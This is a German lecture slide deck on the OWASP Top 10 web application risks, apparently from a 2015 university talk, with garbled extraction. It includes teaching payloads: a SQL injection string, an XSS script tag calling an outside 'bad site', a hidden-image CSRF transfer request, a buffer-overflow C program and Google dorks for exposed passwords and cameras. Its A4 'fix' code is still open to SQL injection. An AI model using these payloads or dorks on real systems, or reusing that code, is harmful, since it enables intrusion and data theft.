OWASP opT 10 - andresilaghi.com · Über mich über die eranstaltung Web Applikation ASPOW ASPOW...

60

Transcript of OWASP opT 10 - andresilaghi.com · Über mich über die eranstaltung Web Applikation ASPOW ASPOW...

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

OWASP Top 10Angri�e auf Web Anwendungen

Andre Fritsche

Hochschule O�enburg

16. Mai 2015

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Inhaltsverzeichnis

1 Über mich

2 über die Veranstaltung

3 Web ApplikationDe�nitionDetails

4 OWASPDe�nitionÜbersicht

5 OWASP Top 10

6 Zusammenfassung

7 Tipps

8 Ende

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Über mich

Werdegang

Hochschule für Technik und Wirtschaft Berlin: Medieninformatik (B. Sc.)

Systemadministrator in Medien- und Automobilbranche (Ludwigsburg)

Selbstständig im Bereich IT Sicherheit (Entwicklung, Consulting etc.)

Security Engineer bei Konica Minolta IT Solutions GmbH (Stuttgart)

Kontakt

[email protected]

https://www.andrefritsche.com, https://delicious.com/vtep

@ihgalis

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

über die Veranstaltung

...

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

über die Veranstaltung

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

De�nitionDetails

De�nition

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

De�nitionDetails

Details

Frontend

HTML Requests werden vom Browser empfangen, versendet undverarbeitet

JavaScripte werden lokal vom Browser empfangen und verarbeitet

Backend

HTML Dateien werden häu�g dynamisch erzeugt (PHP, Ruby on Railsetc.)

Dynamisch erzeugte HTML Daten werden mit JavaScripten häu�g anBrowser geschickt

Daten werden häu�g in DBMS vorrätig gehalten (DatenBankManamgement System)

Nur das Backend hat die Möglichkeit direkt auf das DBMS zu zugreifen

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

De�nitionÜbersicht

OWASP De�nition

De�nition

The OWASP Top Ten provides a powerful awareness document for web

application security. The OWASP Top Ten represents a broad consensus aboutwhat the most critical web application security �aws are.

https://www.owasp.org/index.php/Top_10_2013-Top_10

OWASP: Open Web Application Security Project

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

De�nitionÜbersicht

A1 - Injection

A2 - Broken Authentication and Session Management

A3 - Cross Site Scripting

A4 - Insecure Direct Object References

A5 - Security Miscon�guration

A6 - Sensitive Data Exposure

A7 - Missing Function Level Access Control

A8 - Cross Site Request Forgery

A9 - Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A1 - Injection

Ursache

Den Eingaben des Benutzers - bspw. im Suchfeld - wird blind vertraut.

Folge

Einbinden von fremden - meist schadhaften - Programmcode führt zuDatenbankmanipulationen.

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A1 - Injection - Ursache

im Detail

Ein klassisches Formular in HTML ist gegeben

Nach dem Absenden wird folgender Befehl über das Backend an die DBverschickt: SELECT * FROM Warenliste WHERE WarenId = variable

Angreifer möchte auch versteckte Waren sehen und gibt ein: 156 OR 1=1

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A1 - Injection - Folge

im Detail

Fertiges Statement: SELECT * FROM Warenliste WHERE WarenID =156 OR 1=1

Existiert die Ware mit der ID 156 ist der Ausdruck wahr.

Die gesamte Warenliste wird ausgegeben, da der Ausdruck immer wahr ist.

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A1 - Injection - Lösung

im Detail

Escaping der 'special characters'

Jede API / Sprache hat hier eigene Vorgaben

PHP: mysql_real_escape_string()

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A2 - Broken Authentication and Session Management

Ursache

Generell schlechtes Session Management

Mangelnde Verschlüsselung für bewegte Daten

Folge

Sessions anderer Benutzer können verwendet werden.

Einkaufswägen anderer werden sichtbar und veränderbar.

Gesamte Logins samt Zahlungsdaten sind sichtbar und veränderbar.

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A2 - Broken Authentication and Session Management - Ursache

im Detail

User Passwort ist in der Datenbank im Klartext abgespeichert.

Sessions werden nicht terminiert durch das Backend.

Session ID's werden über die URL weiter gegeben.

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A2 - Broken Authentication and Session Management - Folge

im Detail

Angreifer kommt über andere Lücken an die unverschlüsselten Kennwörter.

Versierte User können die Session anderer Benutzer durch Ausprobierenerraten.

Finale Folge: Identitätsdiebstahl

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A2 - Broken Authentication and Session Management - Lösung

im Detail

Session ID muss bei jedem Login verändert werden

Sessions werden automatisch ungültig bei Logout

Session Time-Out nicht zu lange

V2: Authentication Veri�cation laut ASVS

V3: Session Management Veri�cation Requirements laut ASVS

Quellenmaterial: OWASP ASVShttps://www.owasp.org/images/5/58/OWASP_ASVS_Version_2.pdf

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A3 - Cross Site Scripting

Ursache

Den Eingaben des Benutzers wird vertraut.

Folge

Dynamische Inhalte werden verändert.

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A3 - Cross Site Scripting - Ursache

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A3 - Cross Site Scripting - Folge

im Detail

Dynamische Inhalte auf Webseiten werden mit destruktiven Absichtenverändert.

Programmcode kann auf Clientseite ausgeführt werden.

<script language='js'src='http://www.mybadsite.com/hax00rscript1337.js'>

Katastrophal auf hochfrequentierten Seiten (oder lukrativ, je nachSichtweise)

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A3 - Cross Site Scripting - Lösung

im Detail

Validierung der Eingangsdaten (Telefonnummern, Kreditkartennummern,Mail Adressen)

Data Sanitation: $cleanLvl1 = strip_tags($bad_input);

Escaping: $cleanLvl2 = htmlspecialchars($cleanLvl1);

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A4 - Insecure Direct Object References

Ursache

Keine ausreichende Zugri�sbeschränkung.

Keine Validierung der übergebenen Daten.

Folge

Data Exposure

Benutzerdaten, Zahlungsdaten

Preislisten, Warenbestände

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A4 - Insecure Direct Object References - Ursache

im Detail

GET Parameter in Url wird nicht geprüft.

http://beispiel.com/abc/info.html?accountName=Administrator

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A4 - Insecure Direct Object References - Folge

im Detail

Zugang zu geheimen Informationen

...

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A4 - Insecure Direct Object References - Lösung

im Detail

Zugangsbeschränkung

1 // I n f o rma t i o n temporaer s p e i c h e r n2 $ t oR e t r i e v e I n f o = $GET [ ' accountName ' ] ;3

4 i f ( $ s e s s i o nU s e r == ' Adm i n i s t r a t o r ' )5 {6 // Escap ing , Trimming usw . n i c h t v e r g e s s e n7 mysql_query ( 'SELECT ∗ FROM Use r s WHERE us e r =' .

$ t o R e t r i e v e I n f o . ' ; ' ) ;8 }9 e l s e

10 {11 echo "Keine Be r e ch t i gung !\ n" ;12 }

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A5 - Security Miscon�guration

Ursache

schlechte/alte Software

Faulheit bei der Einrichtung

Folge

viele Sicherheitslücken

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A5 - Security Miscon�guration - Ursache

im Detail

ungepatchte Software

BetriebssystemWebserverDatenbanksystemandere Anwendungen (z.B. PHP)Libraries

unnötiges

PortsDiensteKonten (z.B. Stanardkennwörter)BerechtigungenAufschlussreiche Fehlermeldungen (HTTP 404)XAMPP im Einsatz (Bequemlichkeit)

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A5 - Security Miscon�guration - Folge

im Detail

Ist die Webanwendung gut abgesichert, �nden sich hier alle nötigenSicherheitslücken, um an die Informationen zu geraten.

Exploits gibt es für veraltete Systeme zahlreiche, wie für neue (siehe ZeroDay Exploits).

Zu den häu�gsten Sicherheitslücken zählen vor allem Bu�er Over�ows.

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Exkursion: Bu�er Over�ow - I

1 // ove r f l owexamp l e . c2 #i n c l u d e <s t d i o . h>3 #i n c l u d e <s t r i n g . h>4

5 vo i d main ( i n t argc , cha r ∗ a rgv [ ] )6 {7 i n t v a l u e = 5 ;8 cha r bu f f e r_one [ 8 ] , buf fe r_two [ 8 ] ;9

10 s t r c p y ( buf fe r_one , "one" ) ;11 s t r c p y ( buffer_two , "two" ) ;12

13 p r i n t f ( " bu f f e r_one : %s " , bu f f e r_one ) ;14 p r i n t f ( " buf fe r_two : %s " , buf fe r_two ) ;15

16 s t r c p y ( buffer_two , a rgv [ 1 ] ) ;17

18 p r i n t f ( " buf fe r_two : %s " , buf fe r_two ) ;19 }

Ausführung mit Argument

$ ./over�owexample 222222222222222222222222222A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Exkursion: Bu�er Over�ow - II

Weiterführendes

Buchtitel: Hacking - The Art of Exploitation

Autor: Jon Erickson

Au�age: 2

Verlag: no starch press

ISBN: 978-1-59327-144-2

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A5 - Security Miscon�guration - Lösung

im Detail

Server über 1-2 DMZ betreiben

Nur benötigte Serverrollen installieren (Windows Server)

Nicht benötigte Dienste beenden

Fernwartung nur über das interne Netz erlauben

Alle nicht benötigten Ports schlieÿen

Host�rewall zusätzlich einsetzen

Software aktuell halten

Redundanz erzeugen (Ausfallsicherheit)

Software zur Auditierung von Vorgängen aktiv nutzen

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A6 - Sensitive Data Exposure

Ursache

schlechtes Management der Projekte

schlampiges Arbeiten

Menschen machen Fehler

Folge

Sichtbar: Passwörter

Sichtbar: Kreditkartennummern

Sichtbar: personenbezogene Daten

Sichtbar: Versionsnummern

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A6 - Sensitive Data Exposure - Ursache

im Detail

Security through obscurity (�Verstecken�)

�Es muss schnell gehen�

Standardeinstellungen (HTTP Fehler)

Schlechte Zerti�kate

Schlechte Kryptographie (Eigenbau, falsche Nutzung)

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A6 - Sensitive Data Exposure - Folge - Excel Datei ö�entlich

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A6 - Sensitive Data Exposure - Folge - HTTP Fehler

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A6 - Sensitive Data Exposure - Folge - Zu alte Kryptoverfahren

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A6 - Sensitive Data Exposure - Lösung

im Detail

Web Applikation prüfen (Google Dorks, Suchmaschinen etc.):

Excel Dateien mit Kennwörtern: inurl:ftp �password� �letype:xlsÜberwachungskameras: intitle: �Live view / - AXIS�https://shodanhq.comhttps://www.ssllabs.com/ssltest/

https://www.exploit-db.com/google-hacking-database/

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A7 - Missing Function Level Access Control

Ursache

Menschen machen Fehler

Folge

Administrative Ober�ächen werden sichtbar

Funktionen, die nicht verfügbar sind, können verwendet werden

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A7 - Missing Function Level Access Control - Ursache

im Detail

vergessene administrative Portale

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A7 - Missing Function Level Access Control - Folge

im Detail

bereits geklärt ...

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A7 - Missing Function Level Access Control - Lösung

Web Application Penetrationstest

zu viele Verlinkungen für manuelle Tests

automatisiertes Crawling und Überprüfung aller Pfade

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A7 - Missing Function Level Access Control - Beispiele

Web Application Penetrationstest

Standarddarstellung: http://www.example.com/website/2/index.html

Administrationssicht:http://www.example.com/website/2/admin_index.html

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A7 - Missing Function Level Access Control - Pentest

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A8 - Cross Site Request Forgery

Ursache

keine Überprüfung, ob HTTP Requests auch wirklich gewollt sind

Folge

Angreifer kann ohne Authenti�zierung einen Request selbstzusammenbauen (Forgery) und diesen dem User unterschmuggeln

Lösung

folgt

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A8 - Cross Site Request Forgery - Ursache

im Detail

keine CSRF Tokens im Formular

keine CAPTCHAs

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A8 - Cross Site Request Forgery - Folge

im Detail

http://www.example.com/app/transferMoney?ammount=1500&

destAccount=1234567890

Erzeugten Request in eine Webseite einbinden:

1 <img s r c=" ht tp ://www. example . com/app/ t ranse rMoney ?ammount=1500&destAccount =11111111" width=0 he i g h t=0 />

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A8 - Cross Site Request Forgery - Lösung

im Detail

CSRF Test: https://www.owasp.org/index.php/CSRFTester

Token in das Formular mit integrieren (oder URL)

Token temporär speichern (DB?)

Token beim Absenden des Requests des Users gegen das erstellte Tokenprüfen

Ist es in Ordnung, ist der Request gültig

Ist es nicht in Ordnung, muss der Request abgelehnt werden

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A8 - Cross Site Request Forgery - Lösung - Schema

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A9 - Using Components with Known Vulnerabilities

...

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A9 - Using Components with Known Vulnerabilities

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A9 - Using Components with Known Vulnerabilities

Ursache

keine Updates verfügbar

Abhängigkeit von älterer Version

Folge

bewusst Schwachstellen in Kauf nehmen und nichts dagegen tun bedeutet:sich strafbar machen

Verlust von personenbezogenen Daten durch Lücken

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A9 - Using Components with Known Vulnerabilites - Lösung

Lösung

Web Application Firewall (für die Webanwendung)

Virtual Patching (Datenbank und andere Systeme)

Möglichst vollständiges Auditing des betro�enen Systems samtBetriebssystem

Abhängigkeiten und Anforderungen prüfen, um ggf. ein Update durchführen zu können

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A10 - Unvalidated Redirects and Forwards - Basis

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A10 - Unvalidated Redirects and Forwards - Angri�

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

A10 - Unvalidated Redirects and Forwards - Verteidigung

Verteidigung

Keine Redirects verwenden :-|

Wenn doch, dann nicht über die Parameter kon�gurieren

Wenn doch über Parameter, dann muss das Backend den Redirect prüfen(Kürzel für URLs und keine direkten URLs in den Parametern)

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Zusammenfassung - Gra�k

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Zusammenfassung

1 Basis Server Betriebssystem härten und NUR für nötige Zwecke ausrüsten(Webserver)

2 Basis Server mit lokaler Firewall ausstatten und regelmäÿig testen (Pentesting)

3 Datenbank, falls vorhanden, auf extra System installieren und mittels VirtualPatching schützen

4 Nicht benötigte Features auf der Datenbank abschalten

5 Datenbank Server mit lokaler Firewall ausstatten

6 Web Applikation vernünftig entwickeln (das meiste aus den OWASP Top 10)

7 Web Application Firewall davor einrichten und regelmäÿig testen (Pentesting)

8 Versionsstände aller beteiligten Module auf dem neuesten Stand halten

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Final Sudden Clarity Clarence

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Tipps

irongeek.com

ccc.de

krebsonsecurity.com

offensive-security.com

sans.org

42

DEFCON

BlackHat

CCC Congress

A. Fritsche OWASP Top 10

Über michüber die Veranstaltung

Web ApplikationOWASP

OWASP Top 10Zusammenfassung

TippsEnde

Ende

Fragen?

A. Fritsche OWASP Top 10